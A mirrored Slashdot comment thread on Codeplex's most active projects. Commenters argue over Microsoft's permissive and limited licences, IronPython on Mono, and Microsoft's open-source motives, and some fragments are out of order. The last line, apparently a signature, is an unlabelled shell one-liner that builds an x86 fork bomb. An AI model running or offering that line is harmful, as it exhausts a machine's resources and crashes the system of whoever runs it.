Slashdot Mirror
Top 25 Hottest Open-Source Projects at Microsoft Codeplex
willdavid writes "Via CNet, a link to a blog post with the top 25 most active open-source projects on Microsoft's Codeplex site. As the CNet blogger notes, 'Codeplex is interesting to me for several reasons, but primarily because it demonstrates something that I've argued for many years now: open source on the Windows platform is a huge opportunity for Microsoft. It is something for the company to embrace, not despise.'"
open source on the Windows platform is a huge opportunity for Microsoft. It is something for the company to embrace, not despise.'"
Some open source is good for MS - the sort of not particularly open software that relies on MS's OS & libs. Any software that can be easily ported to another platform is a threat.
Oh - and Open Source? Pah-lease. A license that governs USE of the software sounds neither permissive nor open:
There are shills on slashdot. Apparently, I'm one of them.
Anyone else have a bad feeling abut this?
---- Booth was a patriot ----
MS is harly breaking new ground here. So, what is their interest? Control?
Engineering is the art of compromise.
Wow. Cool proyect.
Knowledge is power. Knowledge shared is power lost.
I guess it is no surprise that I didn't see a single one of those "open" projects in the top 25 list run on anything other than MS-Windows. Reading through the list, I see ".NET", and "C#", "Vista", "Excel", "IIS", or "Sharepoint", etc, on just about every single one.
So, it is hard for me to get excited about a collection of projects that only serve to continue to lock people to a single platform.
I wrote some C# Visual Studio addins and tried to upload them to codeplex. The only GPL license choice was gpl2, but I put in the comments "don't download this if you don't accept GPL3." Some code-monkey unpublished it because the license didn't match the chosen license - but GPL3 wasn't an option!
So I won't host it there.
In contrast, Free software licenses (BSD, MIT, GPL, etc.) cover only the distribution of the software. You do not need to accept any "license" just to use the software. For example, here the relevant paragraph from GPL:
So Free software licenses are indeed licenses: i.e. they grant you more rights than what you get by default under copyright law. EULAs, including microsoft's "permissive license" attempt to restrict your rights by controlling how you can use the software.So it is difficult to see microsoft's "permissive license" as anything but a trojan horse. Especially since it has an uglier brother, the "limited permissive license", which sounds confusingly similar to "permissive license", but adds a completely ridiculous restriction: you can only run the software on windows.
___
If you think big enough, you'll never have to do it.
The "trick" Microsoft uses to lure people is a vastly superior development/runtime environment in .NET. I can live with that trick.
Cry all you want about their OS's - they certainly have room for improvement. Their development tools are top notch. To be honest I do with they'd port an industrial strength CLR env to Linux along with all their class libraries, and Visual Studio/Orcas. It would be a ridiculously large undertaking but it would be god damn sweet to develop with MS tools on other OS's.
OS kooks obsessed with ridiculous ideals made the internet, web, pc, I.t. what they are today. all the rest were bureaucrats.
Read radical news here
I use terms like "M$" and "Windoze" because I believe that they're clever, and Netcraft confirms that cleverness scores people mod points around here, although it doesn't always work.
As always, I shall ignore people who reply to me to point out I am overreacting or just flapping uselessly in the wind. I find reason and logic to be inconvenient in my quest to convince the world that they must switch to free software or suffer the consequences. I consider myself an "evangelist" and I believe people should put up with me because I Am Right.
But, I urge you to just use your head when reading my posts. Most of what I say can safely be discarded as sophomoric fluff designed to bring out the worse in people. Make your own choices about technology and be smart.
Thanks.
Last i heard, it would only create some sort of bastardized python code that was no longer cross platform.
.NET, so it will run on any Mono supported OS as well as Windows.
.NET. It's trivial to access .NET libraries from IronPython, while CPython doesn't make it easy. I'd expect migration mostly from cPython to IronPython (the biggest issue I had was regex related). If you don't want .NET integration, stay with cPython.
That's not correct; IronPython runs on Mono or
You may mean that IronPython scripts are not 100% compatible with a CPython implementation. Well, duh! Even different versions of CPython aren't 100% compatible! Jython isn't 100% compatible with CPython. IronPython is fairly compatible with CPython 2.4.4; the list of differences is available here, so you can avoid them if you ever want to run your code on different Python systems.
The big advantage IronPython has is the integration with
There's nothing wrong with open-source software that only runs on MS products. In fact, it's a step in the right direction. Consider that in the past, if you wanted some custom app on Windows or some custom VB macro for Excel, you had to buy it or pay some developer to create it. A free repository of open-source MS only apps can only benefit the Windows world the same was OSS helped *nix, and maybe drive down the cost of running a Windows only environment.
So "Open Source" now means it has to compile and run on all platforms?!?!?
W
T
F
?
Contrary to popular belief, coding is not all free blow-jobs and beer. Those things cost MONEY!
I've long been saying to those goliaths, like Microsoft and IBM, that it's not a battle of who will win - closed source or open source companies, but that both are on a collision course to become one, evolving and taking on the best parts of each. Open source companies and projects need some level of commercialization to fund innovation and development. Closed source companies need to open up more to be trusted and stay relevant in today's fast moving market.
I work for an open source company, Hyperic http://www.hyperic.com/, and we make systems management software. Early on Hyperic embraced the fact that there is a demand to manage Microsoft techonologies, and we built our open source software to do just that (in addition to everything else we manage) - and not with some archane NRPE remote-watered-down mechanism. Natively against Microsoft's APIs - WMI. So we work with them.
True, their open source labs with channel25 and their codeplex efforts are very much behind the rest of the company. They are relatively new compared to the rest of Microsoft, and there's a lot of ballast to turn that steamship around. But it is making some inroads, and open conversation and criticism is getting attention. These companies have to listen or become irrelevant. True, Microsoft waited a long time to accept and embrace open source, but they are not that foolish to not make efforts in today's market. And with the amount of usage of Microsoft products out in the market, it would be even more foolish of us not to pay attention.
I know slashdotters loath Ms-PL, but not all of the projects use Ms-PL anyway.
If you had bothered to check the license of the listed projects you'd see that some of them use GPL or LGPL (the only licenses that slashdotters appear to respect).
For example, the PHPExcel, which allows PHP code to read/write Excel 2007 files, uses LGPL.
Still other projects use custom licenses, like the GoTraxxx project.
Microsoft's own projects use MS licenses like Ms-PL and Ms-CL (both pending OSI-certification) but non-MS projects can use any license the devs choose to use.
-- "I never gave these stories much credence." - HAL 9000
Please stop repeating Groklaw FUD. .NET and Mono).
A couple weeks ago, Groklaw decided to FUD Microsoft's submission of their licenses to OSI by talking of licenses that Microsoft has not even submitted to OSI, namely the Ms-LPL and Ms-LCL. Those are "L"imited versions of Ms-PL and Ms-CL that tie the source to Windows. Microsoft has not submitted those, rather, they have submitted Ms-PL and Ms-CL, which most certainly are platform independent, as IronPython proves (its code released under Ms-PL and runs on
-- "I never gave these stories much credence." - HAL 9000
Microsoft is so big these days that they have to walk up to developers openly and embrace them. It's the only way to get into a position to get the knife firmly in their back.
I freely admit that I am paranoid about Microsoft's intentions, I am also paranoid about jumping out of planes, both for good reason.
More about the issue in my parent post: There is more than one license.
The Microsoft Limited Permissive License (Ms-LPL) says, in part: "(F) Platform Limitation- The licenses granted in sections 2(A) & 2(B) extend only to the software or derivative works that you create that run on a Microsoft Windows operating system product."
Be very, very careful. If some of the Ms-LPL code is mixed with real open source code, there can be a license violation.
It's a battle about how to make money, isn't it?
.conf file!" into a GUI, and other streamlining, it can be. But I fear more the next version of Windows which by all accounts, seems to be a *drastic* departure from what there was previously because they are abandoning a lot of legacy code, and replacing compatibility with internalized virtualization layers. Microsoft has a LOT of talented programmers, a lot of smart minds, and a lot of good directions. Some business moves they have made in the past have been questionable or stupid. Some products they have released are just piss poor. But cohesively, Microsoft has provided products that are largely decent, and their biggest stopping point is backward compatibility to support older products. They can't "reinvent" the Windows wheel, like Apple decided to. But with virtualization, they can.
/. standards), because that's the day we lose our choice in the marketplace. Linux is making the right moves, but until there is a single, unified distribution, there's even arguments within the Linux community on which distro is best -- and how can a consumer decide?
:)
Microsoft has found a way to make a boatload of money from closed source software. And I know we will hear the arguments of people who say that open source is better -- but tell me why? I am an open source proponent for lots of things, but it has to make sense. Business sense. And I think that fact is lost on a lot of people.
If you can have code reviewed by people be it open source, or closed... how is it different? The open source projects that are best, are the ones that have the most involvement in them. Here's a good case in point -- phpBB which is by far the best open source forum software, has been surpassed by Invision Power Board, and vBulletin in features, speed, and fit and finish. But why? phpBB is open source! It's because not as many people are dedicating as many hours to review the code, check for bugs, and continually update the product. Invision and Jelsoft are doing this on a daily basis, all day long.
Another example is Open Office. From a technical point of view, it's got a lot of developers, but no focus. That's why we have Java in it because technically, it makes sense to have. But that leads to longer load times. There's no central cohesion on the project it seems.
I'm not a MS proponent -- but I understand the logic they have. Windows is closed source and making it open source is in their mind, a bad idea -- because then they will lose money because the technology out there can be used in forked projects to build "a better OS" that remains compatible to Windows. Each progressive version of Windows is essentially being able to build upon the foundation of what there was before, and adding more. (let's not get into a Vista is good/bad debate). If Windows is open sourced, what's to prevent a competent group of folks to recreate the libraries, APIs, etc... and make a COMPATIBLE OS that is actually you know... "better"?
Microsoft's good move would be to see the projects that add value to Windows as a PLATFORM, and support them. Open source or NOT. And they are actively doing this. Just recently Microsoft dropped $150 million to ensure the movement of HD-DVD, because it's a technology that plays to their interests, plays to their benefit, and provides them long term stability in a certain business avenue.
Linux isn't ready for the desktop yet. With Click n' Run, moving "edit the
I fear the day that Microsoft makes a "great" OS (by
Open source projects for Microsoft are a non-issue. Take away the "open source" and just use "Windows enhancing", and then you might be more appropriate. Microsoft doesn't care if the product is open source or not -- they will support what strengthens them, just as Linux should be more actively doing as well. Strengthen the platform as a whole, unify, and provide a clear choice to consumers on an enterprise and home level.
It will only serve us all.
In the meanwhile -- thanks for making Ubuntu so this Windows kid could learn that Linux can fly too, and still be useful. Firefox too
The price is always right if someone else is paying.
Another addition to my parent post: The Microsoft licenses are ALREADY causing confusion and dissension. See the anger and hostility in the discussions below.
The Microsoft Permissive License (Ms-PL) says in the sub-heading: "This license governs use of the accompanying software. If you use the software, you accept this license. If you do not accept the license, do not use the software."
Some of the people commenting in the discussions below are reading only what they believe are the license terms, and not seeing the sub-heading quoted above, which is ANOTHER license term, even though it is not formatted that way.
Again, the license says, "If you USE [my emphasis] the software, you accept this license."
Microsoft's multiple licenses with confusing formatting are already causing harm to the open source community. And Microsoft is just getting started with this.
You might have a (weak) point, but doesn't most of what you are saying boil down to "there are some open source advocates in the belly of the beast that should be encouraged."? That's not really saying much IMO.
Microsoft has such a long history of deception and other bad practices it should make any intelligent person suspicious of their intentions here. It was only a few months ago that they were threatening to sue the open source community. I know it's been said to death, but the bottom line is that if Microsoft as a company really wanted to embrace open source, and work with the open source community, the very first step is open file formats and cross-platform compatibility.
How can anyone trust Microsoft's open source efforts when at the same time they are fighting tooth and nail to eliminate any hope of open file formats and tying all of their open source projects to Windows? I know you are trying to be positive here, but isn't this just a tad naive of you as well? There simply is no reason to believe that this isn't just the same old divide and conquer marketing game from Microsoft. At least not yet.
Windows might have to go open source eventually just to remain relevant, but Microsoft will have to be dragged kicking and screaming to this conclusion, and it will likely take years. At a bare minimum, my expectation is that major structural and managerial changes will have to occur at Microsoft before any of that comes to pass, if it ever does.
Balmer would have to be fired for starters.
That old saying comes to mind: Keep your friends close, your enemies closer.
By all means, I think they got a late start, but economics and the resounding voice of communities like slashdot, bloggers, and the media should work to keep a sharp eye and the conversation going. I'm not defending them actually, I mean to encourage staying critical. (A given on this forum!). I am saying that this opposition is on a collision course to their further adoption of openness and someday even real open source.
It is optimistic. And it will take a VERY long time, just look at Sun's example. But dismissing their efforts entirely is naive in itself. Their progress should be watched, and frankly, encouraged...even if that "encouragement" is criticism pointing them towards what the market is demanding.
However, you are correct, CodePlex projects use various licenses, it seems, FWIW.
IronPython is very compatible with CPython and it can run on Mono, which is cross-platform and open-source. Perhaps you were thinking of Boo, but it can also run on Mono.
IronPython makes mixing Python with other languages much easier. Imagine coding the backend in C# (or Java or Lisp or whatever you want) and the frontend in Python.
Using a common interpreter will allow the Python project to focus more on the language features and leave the interpreting to others. I think it would be fantastic for all scripting languages to target the CLI. It results in huge performance gains and makes producing new languages much easier. There's no reason for all these languages to have their own interpreter.
Well Microsoft make a bunch of .Net development tools that don't seem to have caught on very well with third parties, so it does make sense.
.Net compatibility for the projects they work on. The VirtualDub author actually ported to .Net and decided that the increased size and decreased speed were not worth it.
.Net applications. And it's new third party Windows only applications that made Windows a killer platform. Old ones will tend to run fine in Wine once people have time to reimplement the API functions they depend on.
Most third party shops I suspect have stuck with a mixture of Win32 SDK, ATL and MFC development because they have an enormous codebase and don't feel the need to port. Now to be honest some of those are a pain to learn, once you know them you can churn out Windows applications incredibly quickly. And because they were the only way to do that a few years back, people did learn them.
There was a straw poll on a Microsoft development newsgroup and the vast majority of people actually prefered Visual Studio 98 to later versions since it was quicker and they don't need
All this despite the fact that they give away Visual Studio 2005 Express on their website. I think it's strange case really. In the same way that people don't like Vista because it's slightly bigger and slower than XP, later development environments have never really caught on.
And people graduating from college tend to have used Linux so they don't use either the old or the new Microsoft tools. So Microsoft sense a danger to themselves in the long run. Like no popular
All in all, it seems like a sudden conversion to supporting open source projects based on Visual Studio Express seems like a prudent move on their part.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;